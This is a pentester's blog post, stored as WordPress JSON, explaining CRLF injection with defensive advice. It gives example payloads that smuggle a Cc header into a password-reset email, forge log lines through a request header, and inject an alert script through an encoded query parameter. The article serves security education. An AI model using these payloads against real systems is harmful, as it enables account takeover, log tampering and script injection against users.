{"id":13957,"date":"2025-09-10T12:19:44","date_gmt":"2025-09-10T10:19:44","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=13957"},"modified":"2025-09-10T12:19:47","modified_gmt":"2025-09-10T10:19:47","slug":"what-is-crlf-injection-exploitations-and-security-tips","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/what-is-crlf-injection-exploitations-and-security-tips\/","title":{"rendered":"What is CRLF Injection? Exploitations and Security Tips"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/crlf-injection-1024x535.png\" alt=\"CRLF Injection\" class=\"wp-image-13958\" style=\"width:434px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/crlf-injection-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/crlf-injection-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/crlf-injection-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>A simple line break seems harmless when thinking about a web application. However, if poorly managed, it can open the door to serious attacks.<\/p>\n\n\n\n<p>This is precisely the case with CRLF injections, an often underestimated vulnerability that involves inserting end-of-line control characters into requests or responses.<\/p>\n\n\n\n<!--more-->\n\n\n\n<p>Behind this technical mechanism lie concrete exploitation scenarios that can range from the leakage of sensitive information to the compromise of a system&#8217;s reliability. <\/p>\n\n\n\n<p>This article takes a detailed look at what a CRLF injection is, how it is exploited, and best practices for protecting against it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Comprehensive Guide to CRLF Injections<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-what-is-a-crlf-injection\">What is a CRLF injection?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiting-crlf-injection-vulnerabilities-and-security-best-practices\">Exploiting CRLF Injection Vulnerabilities and Security Best Practices<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-smtp-header-injection\">SMTP header injection<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-how-does-an-smtp-header-injection-work\">How does an SMTP header injection work?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiting-the-vulnerability\">Exploiting the vulnerability<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-how-to-prevent-smtp-header-injections\">How to prevent SMTP header injections?<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-log-injection\">Log injection<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-what-is-log-injection\">What is log injection?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-example-of-a-crlf-attack-in-the-logs\">Example of a CRLF attack in the logs<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-preventing-log-injections\">Preventing log injections<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-reflected-xss\">Reflected XSS<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-how-does-a-crlf-injection-lead-to-a-reflected-xss\">How does a CRLF injection lead to a reflected XSS?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-example-of-crlf-injection-leading-to-xss\">Example of CRLF injection leading to XSS<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-how-to-protect-yourself-from-an-xss-attack-via-crlf-injection\">How to protect yourself from an XSS attack via CRLF injection?<\/a><\/li><\/ul><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-conclusion\">Conclusion<\/a><\/li><\/ul><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-what-is-a-crlf-injection\">What is a CRLF injection?<\/h2>\n\n\n\n<p>CRLF injection is a vulnerability that relies on the misuse of two special characters: <strong>Carriage Return (CR, represented by \u2018\\r\u2019) and Line Feed (LF, represented by \u2018\\n\u2019)<\/strong>.<\/p>\n\n\n\n<p>Together, they indicate to many computer systems that a new line should begin. This is particularly the case for web servers, which interpret the \u2018<a href=\"https:\/\/owasp.org\/www-community\/vulnerabilities\/CRLF_Injection\" target=\"_blank\" rel=\"noopener\" title=\"\">CRLF<\/a>\u2019 sequence as a line break.<\/p>\n\n\n\n<p>It should be noted that this convention is not universal. For example, in Unix environments, the single LF character is sufficient to signal a new line. But in web applications, the CRLF combination is frequently used and therefore constitutes a potential attack surface.<\/p>\n\n\n\n<p>A CRLF injection occurs when these characters are introduced into a part of the system that does not expect them. If the application does not validate or encode them correctly, an attacker can take advantage of this to alter the normal functioning of a request or response. In practice, this amounts to \u2018breaking\u2019 the structure intended by the server and inserting unwanted content into an unintended context.<\/p>\n\n\n\n<p>This principle may seem abstract at first glance. That is why we will illustrate it through several concrete scenarios of web application exploitation, in order to better understand the scope and risks of this vulnerability.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-exploiting-crlf-injection-vulnerabilities-and-security-best-practices\">Exploiting CRLF Injection Vulnerabilities and Security Best Practices<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-918f0318cc154550f6c9a80e40cedd30\" id=\"aioseo-smtp-header-injection\" style=\"color:#c0b800\">SMTP header injection<\/h3>\n\n\n\n<p>One of the most common CRLF injection scenarios involves the SMTP protocol, which is used for sending and receiving emails.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-how-does-an-smtp-header-injection-work\">How does an SMTP header injection work?<\/h4>\n\n\n\n<p>In the context of a web application, this vulnerability typically manifests itself in features that automatically send emails to users, such as password resets.<\/p>\n\n\n\n<p>When a user requests a password reset, the application takes the address provided, forges an SMTP message, and sends it to the mail server. Under normal conditions, this process remains transparent to the user. For example, imagine an SMTP exchange between a client sending an email:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>telnet smtp.company.com 25\nConnected to smtp.company.com.\n220 smtp.company.com SMTP Ready\nHELO client\n250-smtp.company.com\n250-PIPELINING\n250 8BITMIME       \nMAIL FROM: &lt;admin@company.com>\n250 Sender ok\n<strong>RCPT TO: dummy77@company.nl<\/strong>\n250 Recipient ok.\nDATA\n354 Enter mail, end with \".\" on a line by itself\nSubject: Contact\n\nCorps du texte\n.\n250 Ok\nQUIT\n221 Closing connection\nConnection closed by foreign host.<\/code><\/pre>\n\n\n\n<p>In the HTTP request, the user will have control over the \u2018RCPT TO\u2019 field.<\/p>\n\n\n\n<p>The legitimate request will be as follows:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/authentication\/forgot-password HTTP\/2\nHost: vulnerable.vaadata.com\n\n{\"login\":\"dummy77@company.nl\"}<\/code><\/pre>\n\n\n\n<p>This request is processed correctly. The SMTP server constructs the email and sends it only to the specified address (<code>dummy77@company.nl<\/code>) with the password reset link.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploiting-the-vulnerability\">Exploiting the vulnerability<\/h4>\n\n\n\n<p>The problem arises if CRLF characters are not filtered. An attacker can then inject a new header into the SMTP stream. For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/authentication\/forgot-password HTTP\/2\nHost: vulnerable.vaadata.com\n\n{\"login\":\"dummy77@company.nl\\r\\nCc: email@attacker.com\"}<\/code><\/pre>\n\n\n\n<p>In this case, the generated headers are no longer limited to the original recipient. The result is:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>From: no-reply@vaadata.com\nSubject: Change your password\nTo: dummy77@company.com\nCc: email@attacker.com<\/code><\/pre>\n\n\n\n<p>Through this manipulation, the attacker copies himself into the message (with the Cc header) and also receives the password reset link. The exploitation can be even more discreet by injecting a Bcc field, which remains invisible to the legitimate recipient.<\/p>\n\n\n\n<p>This vulnerability often originates in SMTP management libraries used by applications. Whether third-party or developed in-house, the risk is the same: the lack of validation and encoding of user input.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-how-to-prevent-smtp-header-injections\">How to prevent SMTP header injections?<\/h4>\n\n\n\n<p>The correction therefore involves several levels of defence:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Strictly validate the input<\/strong>: the email address must correspond to a valid format, without tolerating the characters \u2018\\r\u2019 and \u2018\\n\u2019.<\/li>\n\n\n\n<li><strong>Encode the control characters<\/strong>: if they appear despite everything, they must be transformed so that they are not interpreted by the SMTP server.<\/li>\n\n\n\n<li><strong>Correct at the application level<\/strong>: if the library used does not include a fix, the application or API must implement its own protection mechanisms.<\/li>\n<\/ul>\n\n\n\n<p>In summary, this scenario shows that a simple lack of control over line breaks can be enough to hijack a critical feature such as password reset.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-61ddcbcef9195c699df70696728a258d\" id=\"aioseo-log-injection\" style=\"color:#c0b800\">Log injection<\/h3>\n\n\n\n<p>CRLF injections are not limited to SMTP exchanges. They can also affect the <a href=\"https:\/\/www.vaadata.com\/blog\/logging-monitoring-definitions-and-best-practices\/\" target=\"_blank\" rel=\"noopener\" title=\"\">logging<\/a> system of a web application.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-what-is-log-injection\">What is log injection?<\/h4>\n\n\n\n<p>Most frameworks offer built-in logging mechanisms, and it is strongly recommended to use them, particularly for detecting intrusions or tracking application usage. However, if the data is not properly checked before being recorded, these logs can become a target.<\/p>\n\n\n\n<p>Let&#8217;s take the example of an application that records user actions in a file, using a simple format:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>HTTP verb   HTTP status   Endpoint     Client-IP       X-User-Id<\/strong>\nGET         200           \/home        5.50.81.190     123-456\nPATCH       200           \/user        5.50.81.190     123-456\nGET         200           \/login       5.45.20.32      Unauthenticated<\/code><\/pre>\n\n\n\n<p>Each authenticated request contains an <code>X-User-Id<\/code> header, automatically added by the browser. In the log above, we can follow the path of the user with ID <code>123-456<\/code>, who visited the home page and then edited his profile.<\/p>\n\n\n\n<p>To prevent abuse, the developers made sure that it is impossible to send a request without this header (except on public routes). But they overlooked one detail: the data in this header is recorded as is, without being cleaned. This is where a CRLF injection can come into play.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-example-of-a-crlf-attack-in-the-logs\">Example of a CRLF attack in the logs<\/h4>\n\n\n\n<p>A malicious user who is already authenticated could, for example, send the following request:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/search HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...>\nX-User-Id: 789-123\\r\\nGET 200 \/admin 5.48.16.120 Unauthenticated<\/code><\/pre>\n\n\n\n<p>The generated log file would then look like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>HTTP verb   HTTP status   Endpoint     Client-IP       X-User-Id<\/strong>\nGET         200           \/home        5.50.81.190     123-456\nPATCH       200           \/user        5.50.81.190     123-456\nGET         200           \/login       5.45.20.32      Unauthenticated\nGET         200           \/search      5.50.81.190     123-456\nGET         200           \/admin       5.48.16.120     Unauthenticated<\/code><\/pre>\n\n\n\n<p>The injected line makes it appear as though an IP address has accessed the administration page, when in fact it has not. The system administrator may be misled, wasting time investigating and, more broadly, losing confidence in the integrity of the logs.<\/p>\n\n\n\n<p>Even if this attack does not directly compromise the data or the server, it undermines the reliability of the logging system, which then becomes unusable as a security tool.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-preventing-log-injections\">Preventing log injections<\/h4>\n\n\n\n<p>The solution is to prevent special characters from being interpreted. To do this, CR (<code>\\r<\/code>) and LF (<code>\\n<\/code>) characters in entries must be encoded (e.g. using URL encoding) before being stored. This prevents them from breaking the log file structure.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-c0c2f2edfc1eded3248a327321d82012\" id=\"aioseo-reflected-xss\" style=\"color:#c0b800\">Reflected XSS<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-how-does-a-crlf-injection-lead-to-a-reflected-xss\">How does a CRLF injection lead to a reflected XSS?<\/h4>\n\n\n\n<p>Another scenario for exploiting CRLF injections involves <a href=\"https:\/\/www.vaadata.com\/blog\/xss-cross-site-scripting-vulnerabilities-principles-types-of-attacks-exploitations-and-security-best-practices\/\" target=\"_blank\" rel=\"noopener\" title=\"\">reflected XSS vulnerabilities<\/a>.<\/p>\n\n\n\n<p>This type of vulnerability occurs when the application takes data from the HTTP request and reflects it directly in its response, without filtering or encoding it.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-example-of-crlf-injection-leading-to-xss\">Example of CRLF injection leading to XSS<\/h4>\n\n\n\n<p>Let us imagine a multi-tenant application in which a user can belong to multiple organisations. To determine which environment to display, the browser sends an <code>X-Organisation-Id<\/code> parameter.<\/p>\n\n\n\n<p>A legitimate request\/response might look like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/home?X-Organization-Id=1234 HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...>\n\nHTTP\/2 200 OK\nDate: Fri, 08 Aug 2025 08:11:55 GMT\nContent-Type: application\/json\nX-Organization-Id: 1234\n\n&#91;\u2026 HTML CONTENT \u2026]<\/code><\/pre>\n\n\n\n<p>We can see that the parameter is reproduced as is in the server&#8217;s response. This opens the way for a CRLF injection, for example by encoding the special characters <code>%0d%0a<\/code> (which correspond to <code>\\r\\n<\/code>):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/home?X-Organization-Id=1234%0d%0a%0d%0a&lt;html>&lt;script>alert(1)&lt;\/script>&lt;\/html> HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...>\n\nHTTP\/2 200 OK\nDate: Fri, 08 Aug 2025 08:11:55 GMT\nContent-Type: application\/json\nX-Organization-Id: 1234\n\n&lt;html>&lt;script>alert(1)&lt;\/script>&lt;\/html>\n&#91;\u2026 HTML CONTENT \u2026]<\/code><\/pre>\n\n\n\n<p>With this injection of two line breaks, the attacker manages to escape the context of the headers and insert HTML\/JavaScript code directly into the body of the response.<\/p>\n\n\n\n<p>The browser then executes this code, causing an XSS. In its simplest form, this results in an alert on the screen. But the impact can be much more serious if the application uses a cache system: in this case, a <a href=\"https:\/\/www.vaadata.com\/blog\/web-cache-poisoning-attacks-and-security-best-practices\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Cache Poisoning attack<\/a> could infect all users in an organisation, or even the entire platform.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-how-to-protect-yourself-from-an-xss-attack-via-crlf-injection\">How to protect yourself from an XSS attack via CRLF injection?<\/h4>\n\n\n\n<p>This example illustrates that, although less well known than other injections, CRLF vulnerabilities can have serious consequences.<\/p>\n\n\n\n<p>The remediation remains the same regardless of the vector: ensure that CRLF characters (<code>\\r<\/code> and <code>\\n<\/code>) are correctly encoded so that they are never interpreted as line breaks by the server.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-conclusion\">Conclusion<\/h2>\n\n\n\n<p>CRLF injections perfectly illustrate how something as mundane as a line break can become a real security flaw. Behind this technical detail lie a variety of concrete scenarios: theft of password reset links via SMTP, falsification of application logs, and even triggering of XSS attacks.<\/p>\n\n\n\n<p>While their impact varies depending on the context, all these exploitations rely on the same weakness: the lack of control or encoding of carriage return and line feed characters. That is why the best defence remains twofold: <strong>strictly validate user input and correctly encode sensitive characters<\/strong> before they are interpreted by a server or stored by the application.<\/p>\n\n\n\n<p>Although often overlooked, these vulnerabilities deserve the full attention of development and security teams. By incorporating these best practices from the design phase onwards, it is possible to significantly reduce risks and preserve the integrity of web systems in the face of these discreet but highly effective attacks.<\/p>\n\n\n\n<p><strong>Author: Julien BRACON \u2013 Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A simple line break seems harmless when thinking about a web application. However, if poorly managed, it can open the door to serious attacks. This is precisely the case with CRLF injections, an often underestimated vulnerability that involves inserting end-of-line control characters into requests or responses.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":{"0":"post-13957","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technical"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/13957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/comments?post=13957"}],"version-history":[{"count":2,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/13957\/revisions"}],"predecessor-version":[{"id":13962,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/13957\/revisions\/13962"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/media?parent=13957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/categories?post=13957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/tags?post=13957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}